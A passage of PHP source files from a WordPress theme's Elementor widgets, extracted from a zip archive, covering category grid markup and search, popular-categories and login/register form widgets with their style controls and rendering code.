                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_items' ); ?></span><span
                                    class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                        </a>
                    </div>
					<?php
				}
				?>
            </div>
        </div>
		<?php
	}
}
PK     1w\C    =  elementor/modules/penci-category-listing/widgets/category.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ) . $item_id; ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <?php do_action('penci_bl_follow_term',['follow_taxonomy'=> $settings['term_name'],'follow_term_id' => $setting->term_id]); ?>
            <div class="pcbg-thumb">
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>

                        <div <?php echo penci_layout_bg( $image_url, ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
							echo ' style="padding-bottom: ' . $image_ratio . '%"';
						} ?>>
	                        <?php echo penci_layout_img( $image_url, $title, ! $disable_lazy ); ?>
                        </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex<?php if ( $title_link ) {
					echo ' pcbg-overlap-hover';
				} ?>">
					<?php if ( $title_link ) { ?>
                        <a class="pcbg-cbgoverlap"
                           href="<?php echo esc_url( $title_link ); ?>"
                           title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
					<?php } ?>
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                           title="<?php echo wp_strip_all_tags( $title ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( $title ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"><a
										<?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"><?php }
										if ( ! $title_length ) {
											echo $title;
										} else {
											echo wp_trim_words( wp_strip_all_tags( $title ), $title_length, '...' );
										} ?></a></h3>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'count', $post_meta ) && ! $hide_cat_small_flag ) : ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc">
                                    <span class="cat pcbg-sub-title">
                                        <?php
                                        $prefix = $post_count == 1 ? penci_get_setting('penci_trans_post') : penci_get_setting('penci_trans_posts');
                                        echo $post_count . ' ' . $prefix; ?>
                                    </span>
                                </div>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'desc', $post_meta ) && $desc && ! $hide_excerpt_small_flag ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc"><?php echo wp_trim_words( wp_strip_all_tags( $desc ), $excerpt_length, '...' ); ?></div>
                            </div>
						<?php } ?>

                        <?php if ( $show_readmore && ! $hide_rm_small_flag ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a href="<?php echo esc_url( $title_link ); ?>"
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_view_all' ); ?></span>
                                    <?php if ( $readmore_icon ): ?>
                                        <?php \Elementor\Icons_Manager::render_icon( $readmore_icon ); ?>
                                    <?php endif; ?>
                                </a>
                            </div>
                        <?php } ?>

                        
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
PK     1w\EPd  d  .  elementor/modules/penci-search-form/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSearchForm;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-search-form';
	}

	public function get_widgets() {
		return array( 'PenciSearchForm' );
	}
}
PK     1w\&Bl^&  ^&  A  elementor/modules/penci-search-form/widgets/penci-search-form.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSearchForm\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSearchForm extends Base_Widget {

	public function get_name() {
		return 'penci-search-form';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Search Box', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-search';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_style', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Search Box Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => [
				'default'     => 'Default',
				'text-button' => 'Text Button',
				'icon-button' => 'Icon Button',
			],
		) );

		$this->add_responsive_control( 'mwidth', array(
			'label'     => __( 'Max Width ( px )', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000 ) ),
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform' => 'max-width: {{SIZE}}px;width:100%' ),
		) );

		$this->add_control( 'text_align', array(
			'label'                => __( 'Alignment', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'elementor' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'elementor' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'elementor' ),
					'icon'  => 'eicon-text-align-right',
				)
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
			'selectors'            => array(
				'{{WRAPPER}} .pc-widget-searchform' => '{{VALUE}}',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_image', array(
			'label' => __( 'Color & Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'bg_color', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform form.pc-searchform input.search-input' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'bd_color', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform form.pc-searchform input.search-input' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'txt_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} form.pc-searchform input.search-input'                            => 'color: {{VALUE}};',
				'{{WRAPPER}} form.pc-searchform input.search-input::-webkit-input-placeholder' => 'color: {{VALUE}};',
				'{{WRAPPER}} form.pc-searchform input.search-input:-ms-input-placeholder '     => 'color: {{VALUE}};',
				'{{WRAPPER}} form.pc-searchform input.search-input::placeholder'               => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'btn_color', array(
			'label'     => __( 'Button Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform.search-style-default i,{{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit, {{WRAPPER}} .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'btn_hcolor', array(
			'label'     => __( 'Button Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit:hover, {{WRAPPER}} .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'btn_bgcolor', array(
			'label'     => __( 'Button Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit, {{WRAPPER}} .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'btn_bghcolor', array(
			'label'     => __( 'Button Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit:hover, {{WRAPPER}} .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'input_padding', array(
			'label'              => __( 'Input Padding', 'soledad' ),
			'type'               => Controls_Manager::DIMENSIONS,
			'allowed_dimensions' => 'horizontal',
			'placeholder'        => [
				'top'      => 'auto',
				'right'    => '',
				'bottom'   => 'auto',
				'left'     => '',
				'isLinked' => false,
			],
			'selectors'          => array(
				'{{WRAPPER}} form.pc-searchform input.search-input'               => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .search-style-default form.pc-searchform i'          => 'right: {{RIGHT}}{{UNIT}};',
				'body.rtl {{WRAPPER}} .search-style-default form.pc-searchform i' => 'right:auto;left: {{LEFT}}{{UNIT}};',
			),
		) );

		$this->add_responsive_control( 'btn_padding', array(
			'label'              => __( 'Button Padding', 'soledad' ),
			'type'               => Controls_Manager::DIMENSIONS,
			'condition'          => [ 'style!' => [ 'default' ] ],
			'allowed_dimensions' => 'horizontal',
			'placeholder'        => [
				'top'      => 'auto',
				'right'    => '',
				'bottom'   => 'auto',
				'left'     => '',
				'isLinked' => false,
			],
			'selectors'          => array( '{{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit, {{WRAPPER}} .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->add_responsive_control( 'form_height', array(
			'label'      => __( 'Search Form Height', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'selectors'  => array( '{{WRAPPER}} .pc-widget-searchform form.pc-searchform input.search-input, {{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit:before, {{WRAPPER}} .pc-widget-searchform.search-style-text-button .searchsubmit' => 'line-height: {{SIZE}}px;' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'input_text_typo',
			'label'    => __( 'Input Text Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-widget-searchform form.pc-searchform input.search-input',
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'btn_text_typo',
			'label'     => __( 'Button Text Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pc-widget-searchform.search-style-text-button .searchsubmit',
			'condition' => [ 'style' => 'text-button' ],
		) );

		$this->add_control( 'icon_btn_size', array(
			'label'      => __( 'Icon Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'condition'  => [ 'style!' => 'text-button' ],
			'selectors'  => array( '{{WRAPPER}} .pc-widget-searchform.search-style-default i, {{WRAPPER}} .pc-widget-searchform.search-style-icon-button .searchsubmit:before' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();
		$style    = isset( $settings['style'] ) && $settings['style'] ? $settings['style'] : 'default';
		$this->markup_block_title( $settings, $this );
		?>
        <div class="pcwg-widget el pc-widget-searchform penci-builder-element pc-search-form search-style-<?php echo $style; ?>">
            <form role="search" method="get" class="pc-searchform"
                  action="<?php echo esc_url( home_url( '/' ) ); ?>">
                <div class="pc-searchform-inner">
                    <input type="text" class="search-input"
                           placeholder="<?php echo penci_get_setting( 'penci_trans_type_and_hit' ); ?>" name="s"/>
                    <i class="penciicon-magnifiying-glass"></i>
                    <button type="submit"
                            class="searchsubmit"><?php echo penci_get_setting( 'penci_trans_search' ); ?></button>
                </div>
            </form>
        </div>
		<?php
	}

}
PK     1w\,l    .  elementor/modules/penci-popular-cat/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPopularCat;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-popular-cat';
	}

	public function get_widgets() {
		return array( 'PenciPopularCat' );
	}
}
PK     1w\    A  elementor/modules/penci-popular-cat/widgets/penci-popular-cat.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPopularCat\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPopularCat extends Base_Widget {

	public function get_name() {
		return 'penci-popular-cat';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Popular Categories', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-bullet-list';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {
		

		// Section layout
		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'plimit', array(
				'label'     => __( 'Amount', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 10,
			)
		);
		$this->add_control(
			'pcat_type', array(
				'label'   => __( 'Categories type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'default',
				'options' => array(
					'default'            => esc_html__( 'Popular categories by number posts', 'soledad' ),
					'alphabetical_order' => esc_html__( 'Popular categories sort by name A->Z', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'pcount', array(
				'label'     => __( 'Show posts count', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'default'   => '',
			)
		);
		$this->add_control(
			'phierarchical', array(
				'label'     => __( 'Show hierarchy', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'default'   => '',
			)
		);

		$this->add_control(
			'phide_uncat', array(
				'label'     => __( 'Hide Uncategorized category', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'default'   => '',
				'separator' => 'before',
			)
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls();

		// Color and typo
		$this->start_controls_section(
			'section_color_typo',
			array(
				'label' => __( 'Colors', 'soledad' ),
				'tab' => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'plink_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default' => '',
				'selectors' => array(
					'{{WRAPPER}} li a' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'plink_hcolor', array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default' => '',
				'selectors' => array(
					'{{WRAPPER}} li a:hover' => 'color: {{VALUE}};',
				),
			)
		);
		
		$this->add_control(
			'borders_color', array(
				'label'     => __( 'Border Bottom Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default' => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-block-popular-cat li, .penci-block-popular-cat ul ul' => 'border-color: {{VALUE}};',
				),
			)
		);
		
		$this->add_responsive_control(
			'pmeta_size', array(
				'label'     => __( 'Font size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} li a' => 'font-size: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'ppcount_color', array(
				'label'     => __( 'Post Counts  Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default' => '',
				'selectors' => array(
					'{{WRAPPER}} .category-item-count' => 'color: {{VALUE}};',
				),
			)
		);
		
		$this->add_responsive_control(
			'cat_spacing', array(
				'label'     => __( 'Spacing Between Categories', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-block-popular-cat li' => 'padding-bottom: calc( {{SIZE}}px / 2 ); margin-bottom: calc( {{SIZE}}px / 2 );',
					'{{WRAPPER}} .penci-block-popular-cat ul ul' => 'padding-top: calc( {{SIZE}}px / 2 ); margin-top: calc( {{SIZE}}px / 2 );',
					'{{WRAPPER}} .penci-block-popular-cat li:last-child' => 'padding-bottom: 0; margin-bottom: 0;',
				),
			)
		);
		
		$this->end_controls_section();
		
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class = 'penci-block-vc penci-block-popular-cat widget_categories widget widget_categories';

		$c          = ! empty( $settings['pcount'] ) ? '1' : '0';
		$h          = ! empty( $settings['phierarchical'] ) ? '1' : '0';
		$limit      = ! empty( $settings['plimit'] ) ? $settings['plimit'] : 6;
		$exclude    = ! empty( $settings['phide_uncat'] ) ? '1' : '';
		$hide_empty = empty( $settings['pcount'] ) ? false : true;

		$cat_args = array(
			'show_count'   => $c,
			'hierarchical' => $h,
			'hide_empty'   => $hide_empty,
			'number'       => $limit,
			'title_li'     => '',
			'exclude'      => $exclude
		);
		if ( isset( $settings['pcat_type'] ) && 'default' == $settings['pcat_type'] ) {
			$cat_args['orderby'] = 'count';
			$cat_args['order']   = 'DESC';
		}

		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content penci-div-inner">
				<ul>
					<?php
					wp_list_categories( $cat_args );
					?>
				</ul>
			</div>
		</div>
		<?php
	}
}
PK     1w\>Cw+    -  elementor/modules/penci-login-form/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciLoginForm;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-login-form';
	}

	public function get_widgets() {
		return array( 'PenciLoginForm' );
	}
}
PK     1w\Z7  7  ?  elementor/modules/penci-login-form/widgets/penci-login-form.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciLoginForm\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciLoginForm extends Base_Widget {

	public function get_name() {
		return 'penci-login-form';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Login/Register Form', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-lock-user';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {
		

		// Section layout
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		
		$this->add_control(
			'app_id', array(
				'type' => Controls_Manager::RAW_HTML,
				'raw' => '<span style="color: #888;font-size: 12px;">Please note that when a user is logged in, the registration form will be hidden. And if you select to show "Register" form, you need to go to Dashboard > Settings > General > on "Membership" select "Anyone can register" to make the Register form displays.</span>',
				'content_classes' => 'elementor-descriptor',
			)
		);
		
		$this->add_control(
			'form_style', array(
				'label'   => __( 'Choose Form Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'login',
				'options' => array(
					'login'    => esc_html__( 'Login', 'soledad' ),
					'register' => esc_html__( 'Register', 'soledad' ),
				)
			)
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls();

		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'pformtext_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-user-login' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pformtext_typo',
				'label'    => __( 'Description Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-user-login',
			)
		);
		$this->add_control(
			'pinput_color',
			array(
				'label'     => __( 'Input Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-register-wrap input[type="text"]'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="email"]'    => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="url"]'      => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="password"]' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="text"]'        => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="email"]'       => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="url"]'         => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="password"]'    => 'color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'pinput_placeholder_color',
			array(
				'label'     => __( 'Input Placeholder Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} form input::-webkit-input-placeholder' => 'color: {{VALUE}};',
					'{{WRAPPER}} form input:-moz-placeholder'          => 'color: {{VALUE}};',
					'{{WRAPPER}} form input::-ms-input-placeholder'     => 'color: {{VALUE}};',
					'{{WRAPPER}} form input::placeholder'     => 'color: {{VALUE}}; opacity: 1;',
				),
			)
		);
		$this->add_control(
			'pinput_border_color',
			array(
				'label'     => __( 'Input Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-register-wrap input[type="text"]'     => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="email"]'    => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="url"]'      => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-register-wrap input[type="password"]' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="text"]'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="email"]'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="url"]'         => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="password"]'    => 'border-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'pinput_bgcolor',
			array(
				'label'     => __( 'Input Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="text"]'     => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="email"]'    => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="url"]'      => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="password"]' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="text"]'        => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="email"]'       => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="url"]'         => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="password"]'    => 'background-color: {{VALUE}};',
				),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pinput_typo',
				'label'    => __( 'Input Typography', 'soledad' ),
				'selector' => '{{WRAPPER}}  .penci-register-wrap input[type="text"],{{WRAPPER}}  .penci-register-wrap input[type="email"],{{WRAPPER}}  .penci-register-wrap input[type="password"],{{WRAPPER}}  .penci-user-login input[type="text"],{{WRAPPER}}  .penci-user-login input[type="email"],{{WRAPPER}}  .penci-user-login input[type="password"]'
			)
		);
		$this->add_control(
			'psubmitbtn_color',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-register-wrap input[type="submit"],{{WRAPPER}} .penci-user-login input[type="submit"], .penci-user-logged-in .penci-user-action-links a' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'psubmitbtn_bgcolor',
			array(
				'label'     => __( 'Button Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="submit"]'        => 'background-color: {{VALUE}};border-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="submit"]'           => 'background-color: {{VALUE}};border-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-logged-in .penci-user-action-links a' => 'background-color: {{VALUE}};border-color: {{VALUE}};'
				),
			)
		);
		$this->add_control(
			'psubmitbtn_hcolor',
			array(
				'label'     => __( 'Button Hover Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-register-wrap input[type="submit"]:hover'        => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-login input[type="submit"]:hover'           => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-user-logged-in .penci-user-action-links a:hover' => 'color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'psubmitbtn_hbgcolor',
			array(
				'label'     => __( 'Button Background Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-register-wrap input[type="submit"]:hover'        => 'background-color: {{VALUE}};border-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-login input[type="submit"]:hover'           => 'background-color: {{VALUE}};border-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-user-logged-in .penci-user-action-links a:hover' => 'background-color: {{VALUE}};border-color: {{VALUE}};'
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'psubmitbtn_typo',
				'label'    => __( 'Button Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-register-wrap input[type="submit"],{{WRAPPER}} .penci-user-login input[type="submit"],{{WRAPPER}} .penci-user-logged-in .penci-user-action-links a'
			)
		);
		
		$this->add_control(
			'ploginregis_link',
			array(
				'label'     => __( 'Login & Register Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-loginform-extra a'        => 'color: {{VALUE}};border-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_section();
		
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$form_type = $settings['form_style'];

		$css_class  = 'penci-block-vc penci-login-register';

		$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
		if( ! is_user_logged_in() || ( $form_type != 'register' && is_user_logged_in() ) ){
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<div class="penci-login-wrap penci-user-login clearfix<?php echo( 'login' != $form_type ? ' hidden' : '' ); ?>">
					<?php
					if ( ! is_user_logged_in() ) {
						\Penci_Vc_Helper::_login_form();
					} else {
						$current_user = wp_get_current_user();
						?>
						<div class="penci-user-logged-in">
							<div class="penci-login-header">
								<div class="penci-login-avatar">
